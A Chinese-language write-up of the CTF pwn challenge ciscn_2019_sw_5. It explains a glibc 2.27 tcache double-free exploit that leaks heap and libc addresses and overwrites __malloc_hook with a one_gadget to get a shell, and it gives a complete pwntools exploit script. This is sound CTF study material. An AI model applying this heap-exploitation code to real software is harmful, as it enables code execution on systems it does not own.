0%

ciscn_2019_sw_5(tcache下只有3次free限制时的巧妙利用手法)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,仅两个功能

其中,delete功能只能用3次,delete功能没有清空指针,存在double free漏洞。

Add功能,size不可控,结尾printf可以输出堆内容。

我们可以利用add结尾的printf输出,main_arean地址,那么,我们需要得到unsorted bin才行。由于delete功能仅有3次机会。Glibc版本为2.27,存在tcache,因此,我们先利用2次,构造一个double free,然后分配到tcache 的表头,篡改对应size的chunk count为-1,同时篡改对应0x80的chunk头chunk指针为伪造的chunk地址,由于不知道堆地址,因此,我们需要爆破半个字节。

首先,申请三个堆

1
2
3
4
5
6
7
#0
add('t1','a')
#1
add('t2','b')
#2前0x18字节将划给后面伪造的0x100的chunk
fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
add('t3',fake_chunk)

由于,我们要在0~2之间伪造一个0x100的chunk,因此,t3的前0x18字节划分给了伪造的chunk,而要想之后成功释放这个伪造的chunk,而不报错,我们还需要把后面剩余的部分修复好,因此,在t3里,我们修复剩余的空间为0x61的chunk。

接下来,double free,然后篡改next指针

1
2
3
4
5
#double free
delete(0)
delete(0)
#攻击tcache bin表头
add('\x1E\x70','a')

接下来,第一次申请,申请到0原来的位置,我们开始伪造chunk

#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表

1
2
#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))

我们伪造的chunk如上图,之所以这么伪造,是因为最后一次delete是要用来得到unsorted bin的,首先,当我们申请到0x280处时,0x100的tcache bin头变更为0x270。此时,我们delete掉0x100的伪造chunk后0x280处保留了main_arena地址。接下来我们申请0x270处,tcache bin头变更为0x268,我们填充数据到0x280,然后,就可以泄露出0x280处的main_arena值。接下来,我们申请到0x268,tcache bin头变更为0x280,然后我们从0x268处开始向后写数据,在0x280处写上malloc_hook的地址。此时,tcache链表的布局变成了

0x280——malloc_hook

因此,我们继续申请,就能申请到malloc_hook处,完成利用,十分巧妙。

1
2
3
4
5
6
7
8
9
10
11
#4修改tcache bin表头,修改0x80的头为heap_base + 0x280
payload = '\x00'*0x5A + p64(heap_base + 0x280)
#修改0x100的count为-1
add('\xFF',payload) #5
#申请到heap_base + 0x280处即伪造chunk
add('t1','a') #6
#得到unsorted bin
delete(6)
add('a'*0x8,'a'*0x10)
sh.recvuntil('a'*0x18)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))

综上,完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#coding:utf8
from pwn import *

#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget_s = 0x10a38c

def add(title,content):
sh.sendlineafter('>>','1')
sh.sendafter('title:',title)
sh.sendafter('content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('index:',str(index))

def exploit():
#0
add('t1','a')
#1
add('t2','b')
#2前0x18字节将划给后面伪造的0x100的chunk
fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
add('t3',fake_chunk)

#double free
delete(0)
delete(0)
#攻击tcache bin表头
add('\x1E\x70','a')
sh.recvuntil('\n')
heap_base = u64(sh.recv(6).ljust(8,'\x00')) & (0xFFFFFFFFFFFFFF00)
print 'heap_base=',hex(heap_base)
#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))
#4修改tcache bin表头,修改0x80的头为heap_base + 0x280
payload = '\x00'*0x5A + p64(heap_base + 0x280)
#修改0x100的count为-1
add('\xFF',payload) #5
#申请到heap_base + 0x280处即伪造chunk
add('t1','a') #6
#得到unsorted bin
delete(6)
add('a'*0x8,'a'*0x10)
sh.recvuntil('a'*0x18)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#申请到heap_base+0x268处,覆盖0x280处的next指针
add('a','a'*0x10 + p64(malloc_hook_addr))
add('a','a')
#改写malloc_hook
add(p64(one_gadget_addr),'\x00')
#getshell
sh.sendlineafter('>>','1')

while True:
try:
global sh
sh = process('./ciscn_2019_sw_5')
#sh = remote('node3.buuoj.cn',29046)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'